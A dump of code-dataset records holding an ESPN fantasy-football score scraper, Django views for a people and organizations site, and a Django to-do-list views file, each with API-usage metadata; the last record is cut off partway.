{"api_name": "tests.watson.auth.support.start_response", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tests.watson.auth.support.app", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tests.watson.auth.support", "line_number": 24, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.app", "line_number": 27, "usage_type": "call"}, {"api_name": "tests.watson.auth.support", "line_number": 27, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.sample_environ", "line_number": 28, "usage_type": "call"}, {"api_name": "tests.watson.auth.support", "line_number": 28, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.start_response", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tests.watson.auth.support", "line_number": 31, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.app", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tests.watson.auth.support", "line_number": 32, "usage_type": "name"}]} {"seq_id": "22036619013", "text": "# Pull from ESPN API, pickle boxscores info, save season scores and box scores to csv files\r\n# The dataframes in this code were formed using Steven Morse's code from his page:\r\n# https://stmorse.github.io/journal/espn-fantasy-python.html\r\n\r\n# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n\r\n# Lines 21 thru 62: Season Scores - Team scores by week\r\n# Lines 67 thru 168: Box Scores - Player scores by team and week\r\n\r\n# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n\r\n# Perform imports\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Import to pull from ESPN API:\r\nimport requests\r\n\r\n# Pull season scores\r\nscores = {}\r\nfor week in range(1,14):\r\n r = requests.get('http://games.espn.com/ffl/api/v2/scoreboard',\r\n params={'leagueId':904062, 'seasonId': 2018, 'matchupPeriodId': week})\r\n scores[week] = r.json()\r\n\r\n# Populate df with scoring information\r\ndf = []\r\n# Find matchup data for a given week\r\nfor key in scores:\r\n temp = scores[key]['scoreboard']['matchups']\r\n # Find scoring data for a given matchup\r\n for match in temp:\r\n df.append([key,\r\n # Find both team names (location + nickname)\r\n match['teams'][0]['team']['teamLocation'] + ' ' + match['teams'][0]['team']['teamNickname'],\r\n match['teams'][1]['team']['teamLocation'] + ' ' + match['teams'][1]['team']['teamNickname'],\r\n # Find both team IDs\r\n match['teams'][0]['team']['teamId'],\r\n match['teams'][1]['team']['teamId'],\r\n # Find both scores\r\n match['teams'][0]['score'],\r\n match['teams'][1]['score']])\r\n \r\n# df of IDs, scores, and weeks\r\ndf = pd.DataFrame(df, columns=['Week','HomeTeam','AwayTeam','HomeId','AwayId','HomeScore','AwayScore'])\r\n\r\n# Omit home-away distinction and make a df of team weekly scores\r\ndf = (df[['Week', 'HomeTeam', 'HomeId', 'HomeScore']]\r\n .rename(columns = {'HomeTeam':'Team', 'HomeId':'Id', 'HomeScore':'Score'})\r\n .append(df[['Week', 'AwayTeam', 'AwayId', 'AwayScore']]\r\n .rename(columns = {'AwayTeam':'Team', 'AwayId':'Id', 'AwayScore':'Score'})))\r\n\r\n# Distinguish between regular season and playoffs\r\ndf['Type'] = pd.Series(['Regular' if w <= 14 else 'Playoff' for w in df['Week']])\r\n\r\n# Round score to tenths place\r\ndf['Score'] = round(df['Score'],1)\r\n\r\n# Save dataframe to csv\r\ndf.to_csv('seasonscores.csv', index = False)\r\n\r\n# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n\r\n# Loop through each week and each matchup with a request to boxscore each time\r\n# and save the results in a big dict that we can pickle for later:\r\nleagueId, seasonId = 904062, 2018\r\n\r\nsbs = {}\r\nbss = {}\r\n\r\nprint('Week', end=' ')\r\nfor week in range(1,14):\r\n print(week, end=' .. ')\r\n \r\n sb = requests.get('http://games.espn.com/ffl/api/v2/scoreboard', \r\n params={'leagueId': leagueId, 'seasonId': seasonId, 'matchupPeriodId': week})\r\n sb = sb.json()\r\n sbs[week] = sb\r\n bss[week] = {}\r\n \r\n # loop through matchups that week\r\n for match in range(len(sb['scoreboard']['matchups'])):\r\n homeId = sb['scoreboard']['matchups'][match]['teams'][0]['team']['teamId']\r\n \r\n r = requests.get('http://games.espn.com/ffl/api/v2/boxscore', \r\n params={'leagueId': leagueId, 'seasonId': seasonId, \r\n 'teamId': homeId, 'matchupPeriodId': week},\r\n #cookies={'SWID': swid, 'espn_s2': espn}\r\n )\r\n r = r.json()\r\n bss[week][match] = r\r\n\r\n# Import pickle for serialization: http://www.diveintopython3.net/serializing.html\r\nimport pickle\r\n\r\nprint('\\nSaving to pickle..')\r\npickle.dump(sbs, open('homie_2018_sbs.pkl', 'wb'))\r\npickle.dump(bss, open('homie_2018_bss.pkl', 'wb'))\r\nprint('Complete.')\r\n\r\n# Pluck out some basic stats per player, per week, \r\n# and record whose fantasy team they were playing for.\r\n\r\n# Positional slots\r\nslots = {0: 'QB', 2: 'RB', 4: 'WR', 6: 'TE', 16: 'D/ST', 20: 'BE', 23: 'FLEX'}\r\n\r\n# Rows will be by player by week\r\ndf1 = pd.DataFrame(\r\n columns=['playerName', 'matchupPeriodId', 'slotId', 'position', \r\n 'bye', 'appliedStatTotal', 'teamName', 'wonMatchup'])\r\n\r\nfor week in range(1,14):\r\n for match in range(len(sbs[week]['scoreboard']['matchups'])):\r\n homeId = sbs[week]['scoreboard']['matchups'][match]['teams'][0]['team']['teamId']\r\n winner = sbs[week]['scoreboard']['matchups'][match]['winner']\r\n\r\n # loop through home (0) and away (1)\r\n for team in range(2):\r\n # boolean for who won this matchup\r\n winb = False\r\n if (winner=='away' and team==1) or (winner=='home' and team==0):\r\n winb = True\r\n\r\n # fantasy team info (dict)\r\n tinfo = bss[week][match]['boxscore']['teams'][team]['team']\r\n\r\n # all players on that team info (array of dicts)\r\n ps = bss[week][match]['boxscore']['teams'][team]['slots']\r\n\r\n # loop through players\r\n for k,p in enumerate(ps):\r\n # players on bye/injured won't have this entry\r\n try:\r\n pts = p['currentPeriodRealStats']['appliedStatTotal']\r\n except KeyError:\r\n pts = 0\r\n\r\n # there is some messiness in the json so just skip\r\n try:\r\n # get player's position. this is a bit hacky...\r\n pos = p['player']['eligibleSlotCategoryIds']\r\n for s in [20, 23]:\r\n if pos.count(s) > 0:\r\n pos.remove(s)\r\n pos = slots[pos[0]]\r\n\r\n # add it all to the DataFrame\r\n df1 = df1.append({\r\n 'playerName': p['player']['firstName'] + ' ' + p['player']['lastName'],\r\n 'matchupPeriodId': week,\r\n 'slotId': p['slotCategoryId'],\r\n 'position': pos,\r\n 'bye': True if p['opponentProTeamId']==-1 else False,\r\n 'appliedStatTotal': pts,\r\n 'teamName': tinfo['teamLocation'] + ' ' + tinfo['teamNickname'],\r\n 'wonMatchup': winb},\r\n ignore_index=True)\r\n except KeyError:\r\n continue\r\n\r\n# Convert boolean values to W/L column\r\ndf1['W/L'] = np.where(df1.eval('wonMatchup == True'), 'W', 'L')\r\n\r\n# Save dataframe to csv\r\ndf1.to_csv('boxscores.csv', index = False)", "repo_name": "JohnLarson775/Data_Visualization", "sub_path": "espn-api-to-csv/espn_api_to_csv.py", "file_name": "espn_api_to_csv.py", "file_ext": "py", "file_size_in_byte": 7103, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 56, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 78, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 88, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 100, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 101, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 165, "usage_type": "call"}]} {"seq_id": "72873753184", "text": "import json\nimport random\nfrom datetime import datetime, timedelta\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q\nfrom django.forms.models import modelformset_factory\nfrom django.http import Http404, HttpResponse\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom django.template import RequestContext\nfrom django.template.defaultfilters import slugify\nfrom django.views.generic import ListView, DetailView, TemplateView, View\n\nfrom .forms import OrganizationUpdateForm, PersonUpdateForm\nfrom .models import Person, Organization, OrganizationAdmin\n\nfrom caching.config import NO_CACHE\nfrom source.articles.models import Article\nfrom source.code.models import Code, get_recent_repos\nfrom source.jobs.models import Job, get_recent_jobs\nfrom source.utils.json import render_json_to_response\n\nUSER_DEBUG = getattr(settings, 'USER_DEBUG', False)\n\n\nclass CommunityList(TemplateView):\n template_name = 'people/_v2/community_index.html'\n\n def get_context_data(self, **kwargs):\n context = super(CommunityList, self).get_context_data(**kwargs)\n\n # this page randomly selects a few Person and Organization\n # records to display based on recent Article and Code posts\n recent_articles = Article.live_objects.order_by('-pubdate')[:20]\n recent_codes = Code.live_objects.order_by('-created')[:20]\n \n # we only need the Person record pks here, setting NO_CACHE because\n # django-cache-machine does not work with .values() or .values_list()\n article_author_ids = recent_articles.values_list('authors', flat=True)\n article_author_ids.timeout = NO_CACHE\n #code_people_ids = recent_codes.values_list('people', flat=True)\n #code_people_ids.timeout = NO_CACHE\n \n # get 3 random unique Person records\n people_ids = list(article_author_ids)# + list(code_people_ids)\n people_ids = list(set([x for x in people_ids if x is not None]))\n people_ids = random.sample(people_ids, 3)\n people = Person.objects.filter(id__in=people_ids)\n context['people'] = people\n\n # only need the Organization pks\n article_organization_ids = recent_articles.values_list('organizations', flat=True)\n article_organization_ids.timeout = NO_CACHE\n article_code_ids = recent_codes.values_list('organizations', flat=True)\n article_code_ids.timeout = NO_CACHE\n \n # get 3 random unique Organization records\n organization_ids = list(article_organization_ids) + list(article_code_ids)\n organization_ids = list(set([x for x in organization_ids if x is not None]))\n organization_ids = random.sample(organization_ids, 3)\n organizations = Organization.objects.filter(id__in=organization_ids)\n context['organizations'] = organizations\n\n context['recent_jobs'] = get_recent_jobs(2)\n context['recent_repos'] = get_recent_repos(3)\n\n return context\n \nclass PersonList(ListView):\n model = Person\n template_name = 'people/_v2/person_list.html'\n\n def get_queryset(self):\n queryset = Person.live_objects.exclude(show_in_lists=False).prefetch_related('organizations')\n \n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(PersonList, self).get_context_data(**kwargs)\n \n context['recent_jobs'] = get_recent_jobs(2)\n context['recent_repos'] = get_recent_repos(3)\n \n return context\n\nclass PersonDetail(DetailView):\n model = Person\n template_name = 'people/_v2/person_detail.html'\n\n def get_queryset(self):\n queryset = Person.live_objects.prefetch_related('personlink_set', 'organizations', 'code_set', 'article_set', 'article_authors')\n \n return queryset\n \n def get_context_data(self, **kwargs):\n context = super(PersonDetail, self).get_context_data(**kwargs)\n \n context['recent_jobs'] = get_recent_jobs(2)\n context['recent_repos'] = get_recent_repos(3)\n \n return context\n \nclass PersonSearchJson(View):\n def get_queryset(self):\n queryset = Person.live_objects.exclude(show_in_lists=False)\n \n return queryset\n\n def get(self, request, *args, **kwargs):\n people = self.get_queryset()\n\n q = self.request.GET.get('q', None)\n if 'q' in self.request.GET:\n people = people.filter(Q(first_name__icontains = q) | Q(last_name__icontains = q))\n \n people = people.values('first_name', 'last_name', 'email', 'twitter_username', 'github_username', 'id')\n people.timeout = NO_CACHE\n \n for person in list(people):\n person['name'] = '%s %s' % (person['first_name'], person['last_name'])\n\n return render_json_to_response(list(people))\n\nclass OrganizationList(ListView):\n model = Organization\n template_name = 'people/_v2/organization_list.html'\n\n def get_queryset(self):\n queryset = Organization.live_objects.exclude(show_in_lists=False).all()\n \n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(OrganizationList, self).get_context_data(**kwargs)\n \n context['recent_jobs'] = get_recent_jobs(2)\n context['recent_repos'] = get_recent_repos(3)\n \n return context\n\nclass OrganizationDetail(DetailView):\n model = Organization\n template_name = 'people/_v2/organization_detail.html'\n\n def get_queryset(self):\n queryset = Organization.live_objects.prefetch_related('organizationlink_set')\n \n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(OrganizationDetail, self).get_context_data(**kwargs)\n \n context['recent_jobs'] = get_recent_jobs(2)\n context['recent_repos'] = get_recent_repos(3)\n \n return context\n\nclass PersonUpdate(View):\n template_name = \"people/person_update.html\"\n form_message = ''\n \n def get_success_url(self):\n return reverse('person_update')\n\n def get_organization(self):\n user = self.request.user\n if user.is_authenticated() and user.is_active:\n organization = get_object_or_404(Organization, is_live=True, email=user.email)\n return organization\n elif USER_DEBUG:\n organization = get_object_or_404(Organization, is_live=True, slug='spokesman-review')\n return organization\n return None\n\n def get_person(self, pk=None, organization=None, task=None):\n user = self.request.user\n if USER_DEBUG or (user.is_authenticated() and user.is_active):\n if pk and organization:\n # allow for 'add' task\n if task == 'add':\n person = get_object_or_404(Person, is_live=True, pk=pk)\n else:\n # ensure that Organization admin can modify this record\n person = get_object_or_404(Person, is_live=True, pk=pk, organizations=organization)\n else:\n # or that the authenticated user *is* this person\n person = get_object_or_404(Person, is_live=True, email=user.email)\n return person\n return None\n \n def create_person(self, data, organization):\n name = data['name']\n # make sure we actually have been given a name\n if name:\n try:\n first_name, last_name = name.split(' ', 1)\n except:\n first_name, last_name = name, ''\n \n person_kwargs = {\n 'first_name': first_name,\n 'last_name': last_name,\n 'slug': slugify('-'.join([first_name, last_name]))\n }\n\n i = 0\n found = True\n while found:\n i += 1\n try:\n person = Person.objects.get(slug=person_kwargs['slug'])\n person_kwargs['slug'] = slugify('-'.join([first_name, last_name, str(i)]))\n except ObjectDoesNotExist:\n person = Person(**person_kwargs)\n person.save()\n person.organizations.add(organization)\n found = False\n \n return person\n return None\n\n def process_form(self, person, data):\n person_form = PersonUpdateForm(instance=person, data=data)\n if person_form.is_valid():\n person_form.save()\n form_message = 'Saved!'\n else:\n error_message = ''\n for field in person_form:\n if field.errors:\n add_label = field.label\n add_errors = ', '.join([error for error in field.errors])\n error_message += '%s: %s ' % (add_label, add_errors)\n form_message = error_message\n\n return form_message\n \n def post(self, request, *args, **kwargs):\n data = request.POST\n form_message = ''\n success_url = self.get_success_url()\n \n if 'organization_task' in data:\n success_url = reverse('organization_update')\n self.template_name = \"people/organization_update.html\"\n task = data['organization_task']\n organization = self.get_organization()\n \n if task == 'create':\n person = self.create_person(data, organization)\n form_message = 'Created'\n success_url += '?new=%s' % person.pk\n else:\n person = self.get_person(data['person'], organization, task)\n if task == 'update':\n form_message = self.process_form(person, data)\n elif task == 'remove':\n person.organizations.remove(organization)\n form_message = 'Removed'\n elif task == 'add':\n person.organizations.add(organization)\n form_message = 'Added'\n else:\n person = self.get_person()\n form_message = self.process_form(person, data)\n \n if request.is_ajax():\n result = {\n 'message': form_message,\n 'person': {\n 'name': person.name(),\n 'pk': person.pk,\n 'first_name': person.first_name,\n 'last_name': person.last_name,\n 'email': person.email,\n 'twitter_username': person.twitter_username,\n 'github_username': person.github_username\n }\n }\n return render_json_to_response(result)\n\n # if for some reason we're not hitting via ajax\n messages.success(request, form_message)\n return redirect(success_url)\n \nclass OrganizationUpdate(View):\n template_name = \"people/organization_update.html\"\n error_message = \"\"\n \n def get_organization(self, user):\n if user.is_authenticated() and user.is_active:\n try:\n org_admin = OrganizationAdmin.objects.get(email=user.email, organization__is_live=True)\n return org_admin.organization\n except OrganizationAdmin.DoesNotExist:\n self.error_message = \"Sorry, no Organization account found that matches your email address: {}\".format(user.email)\n except OrganizationAdmin.MultipleObjectsReturned:\n self.error_message = \"Uh-oh, somehow there are multiple Organization accounts attached to your email address: {}. Please contact us for cleanup.\".format(user.email)\n \n return None\n\n def get(self, request, *args, **kwargs):\n context = {}\n user = request.user\n \n if user.is_authenticated() and user.is_active:\n organization = self.get_organization(user)\n if organization:\n organization_form = OrganizationUpdateForm(instance=organization)\n context.update({\n 'user': request.user,\n 'organization': organization,\n 'organization_form': organization_form,\n 'default_job_listing_end_date': datetime.today().date() + timedelta(days=30)\n })\n else:\n context.update({\n 'error_message': self.error_message\n })\n \n return render(request, self.template_name, context)\n\n def post(self, request, *args, **kwargs):\n context = {}\n user = request.user\n organization = self.get_organization(user)\n\n if organization:\n organization_form = OrganizationUpdateForm(instance=organization, data=request.POST)\n context.update({\n 'user': request.user,\n 'organization': organization,\n 'organization_form': organization_form,\n })\n\n if organization_form.is_valid():\n organization_form.save()\n \n if request.is_ajax():\n result = {'success': 'True'}\n return render_json_to_response(result)\n\n # if for some reason we're not hitting via ajax\n messages.success(request, 'Updates saved')\n return render(request, self.template_name, context)\n \n", "repo_name": "OpenNews/opennews-source", "sub_path": "source/people/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 13511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.conf.settings", "line_number": 26, "usage_type": "argument"}, {"api_name": "django.views.generic.TemplateView", "line_number": 29, "usage_type": "name"}, {"api_name": "source.articles.models.Article.live_objects.order_by", "line_number": 37, "usage_type": "call"}, {"api_name": "source.articles.models.Article.live_objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "source.articles.models.Article", "line_number": 37, "usage_type": "name"}, {"api_name": "source.code.models.Code.live_objects.order_by", "line_number": 38, "usage_type": "call"}, {"api_name": "source.code.models.Code.live_objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "source.code.models.Code", "line_number": 38, "usage_type": "name"}, {"api_name": "caching.config.NO_CACHE", "line_number": 43, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Person.objects.filter", "line_number": 51, "usage_type": "call"}, {"api_name": "models.Person.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 51, "usage_type": "name"}, {"api_name": "caching.config.NO_CACHE", "line_number": 56, "usage_type": "name"}, {"api_name": "caching.config.NO_CACHE", "line_number": 58, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Organization.objects.filter", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Organization.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.Organization", "line_number": 64, "usage_type": "name"}, {"api_name": "source.jobs.models.get_recent_jobs", "line_number": 67, "usage_type": "call"}, {"api_name": "source.code.models.get_recent_repos", "line_number": 68, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 72, "usage_type": "name"}, {"api_name": "models.Person", "line_number": 73, "usage_type": "name"}, {"api_name": "models.Person.live_objects.exclude", "line_number": 77, "usage_type": "call"}, {"api_name": "models.Person.live_objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 77, "usage_type": "name"}, {"api_name": "source.jobs.models.get_recent_jobs", "line_number": 84, "usage_type": "call"}, {"api_name": "source.code.models.get_recent_repos", "line_number": 85, "usage_type": "call"}, {"api_name": "django.views.generic.DetailView", "line_number": 89, "usage_type": "name"}, {"api_name": "models.Person", "line_number": 90, "usage_type": "name"}, {"api_name": "models.Person.live_objects.prefetch_related", "line_number": 94, "usage_type": "call"}, {"api_name": "models.Person.live_objects", "line_number": 94, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 94, "usage_type": "name"}, {"api_name": "source.jobs.models.get_recent_jobs", "line_number": 101, "usage_type": "call"}, {"api_name": "source.code.models.get_recent_repos", "line_number": 102, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 106, "usage_type": "name"}, {"api_name": "models.Person.live_objects.exclude", "line_number": 108, "usage_type": "call"}, {"api_name": "models.Person.live_objects", "line_number": 108, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 108, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 117, "usage_type": "call"}, {"api_name": "caching.config.NO_CACHE", "line_number": 120, "usage_type": "name"}, {"api_name": "source.utils.json.render_json_to_response", "line_number": 125, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 127, "usage_type": "name"}, {"api_name": "models.Organization", "line_number": 128, "usage_type": "name"}, {"api_name": "models.Organization.live_objects.exclude", "line_number": 132, "usage_type": "call"}, {"api_name": "models.Organization.live_objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "models.Organization", "line_number": 132, "usage_type": "name"}, {"api_name": "source.jobs.models.get_recent_jobs", "line_number": 139, "usage_type": "call"}, {"api_name": "source.code.models.get_recent_repos", "line_number": 140, "usage_type": "call"}, {"api_name": "django.views.generic.DetailView", "line_number": 144, "usage_type": "name"}, {"api_name": "models.Organization", "line_number": 145, "usage_type": "name"}, {"api_name": "models.Organization.live_objects.prefetch_related", "line_number": 149, "usage_type": "call"}, {"api_name": "models.Organization.live_objects", "line_number": 149, "usage_type": "attribute"}, {"api_name": "models.Organization", "line_number": 149, "usage_type": "name"}, {"api_name": "source.jobs.models.get_recent_jobs", "line_number": 156, "usage_type": "call"}, {"api_name": "source.code.models.get_recent_repos", "line_number": 157, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 161, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 166, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 171, "usage_type": "call"}, {"api_name": "models.Organization", "line_number": 171, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 174, "usage_type": "call"}, {"api_name": "models.Organization", "line_number": 174, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 184, "usage_type": "call"}, {"api_name": "models.Person", "line_number": 184, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 187, "usage_type": "call"}, {"api_name": "models.Person", "line_number": 187, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 190, "usage_type": "call"}, {"api_name": "models.Person", "line_number": 190, "usage_type": "argument"}, {"api_name": "django.template.defaultfilters.slugify", "line_number": 206, "usage_type": "call"}, {"api_name": "models.Person.objects.get", "line_number": 214, "usage_type": "call"}, {"api_name": "models.Person.objects", "line_number": 214, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 214, "usage_type": "name"}, {"api_name": "django.template.defaultfilters.slugify", "line_number": 215, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 216, "usage_type": "name"}, {"api_name": "models.Person", "line_number": 217, "usage_type": "call"}, {"api_name": "forms.PersonUpdateForm", "line_number": 226, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 247, "usage_type": "call"}, {"api_name": "source.utils.json.render_json_to_response", "line_number": 283, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 286, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 286, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 287, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 289, "usage_type": "name"}, {"api_name": "models.OrganizationAdmin.objects.get", "line_number": 296, "usage_type": "call"}, {"api_name": "models.OrganizationAdmin.objects", "line_number": 296, "usage_type": "attribute"}, {"api_name": "models.OrganizationAdmin", "line_number": 296, "usage_type": "name"}, {"api_name": "models.OrganizationAdmin.DoesNotExist", "line_number": 298, "usage_type": "attribute"}, {"api_name": "models.OrganizationAdmin", "line_number": 298, "usage_type": "name"}, {"api_name": "models.OrganizationAdmin.MultipleObjectsReturned", "line_number": 300, "usage_type": "attribute"}, {"api_name": "models.OrganizationAdmin", "line_number": 300, "usage_type": "name"}, {"api_name": "forms.OrganizationUpdateForm", "line_number": 312, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 317, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 317, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 317, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 324, "usage_type": "call"}, {"api_name": "forms.OrganizationUpdateForm", "line_number": 332, "usage_type": "call"}, {"api_name": "source.utils.json.render_json_to_response", "line_number": 344, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 347, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 347, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 348, "usage_type": "call"}]} {"seq_id": "5242276521", "text": "from django.shortcuts import render, redirect\r\nfrom .models import List\r\nfrom .forms import ListForm\r\nfrom django.contrib import messages\r\nfrom django.http import HttpResponseRedirect\r\nfrom .models import revenue\r\nimport json\r\nfrom django.core.serializers.json import DjangoJSONEncoder\r\n\r\ndef home(request):\r\n\r\n\tif request.method == 'POST':\r\n\t\tform = ListForm(request.POST or None)\r\n\t\tif form.is_valid():\r\n\t\t\tform.save()\r\n\t\t\tall_items = List.objects.all\r\n\t\t\tmessages.success(request,('Item has been added to the list!'))\r\n\t\t\treturn render(request,'home.html',{'all_items': all_items})\t\t\t\r\n\r\n\telse:\t\t\r\n\t\tall_items = List.objects.all\r\n\t\treturn render(request,'home.html',{'all_items': all_items})\t\r\n\r\ndef about(request):\r\n\tcontext = {'name': 'Snigdha'}\r\n\treturn render(request,'about.html',context)\r\n\r\ndef delete(request,list_id):\r\n\titem = List.objects.get(pk=list_id)\r\n\titem.delete()\r\n\tmessages.success(request,('Item has been deleted!'))\r\n\treturn redirect('home')\r\n\r\ndef cross_off(request,list_id):\r\n\titem = List.objects.get(pk=list_id)\r\n\titem.completed = True\r\n\titem.save()\r\n\treturn redirect('home')\r\n\r\ndef uncross(request,list_id):\r\n\titem = List.objects.get(pk=list_id)\r\n\titem.completed = False\r\n\titem.save()\r\n\treturn redirect('home')\r\n\r\ndef dash(request):\r\n\t# Region = revenue.objects.all().values_list('Region')\r\n\t# Region = revenue.objects.all().values_list('Region')\r\n\t# print(Region)\r\n\t# context = {\"Region\":Region}\r\n\tc = revenue.objects.all().values()\r\n\tprint(\"****************************** c is ****************************************\")\r\n\tprint(c)\r\n\t#context = json.dumps(list(c), cls=DjangoJSONEncoder)\r\n\tcontext = c[0]\r\n\tprint(\"****************************** context is ****************************************\")\r\n\tprint(context)\r\n\treturn render(request, 'dashboard.html', context)\r\n\r\n\r\n\r\n\r\n", "repo_name": "snigdsin/deploy", "sub_path": "my_app/todo_list/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "forms.ListForm", "line_number": 13, "usage_type": "call"}, {"api_name": "models.List.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.List", "line_number": 16, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 17, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}, {"api_name": "models.List.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.List", "line_number": 21, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "models.List.objects.get", "line_number": 29, "usage_type": "call"}, {"api_name": "models.List.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.List", "line_number": 29, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 31, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 32, "usage_type": "call"}, {"api_name": "models.List.objects.get", "line_number": 35, "usage_type": "call"}, {"api_name": "models.List.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": 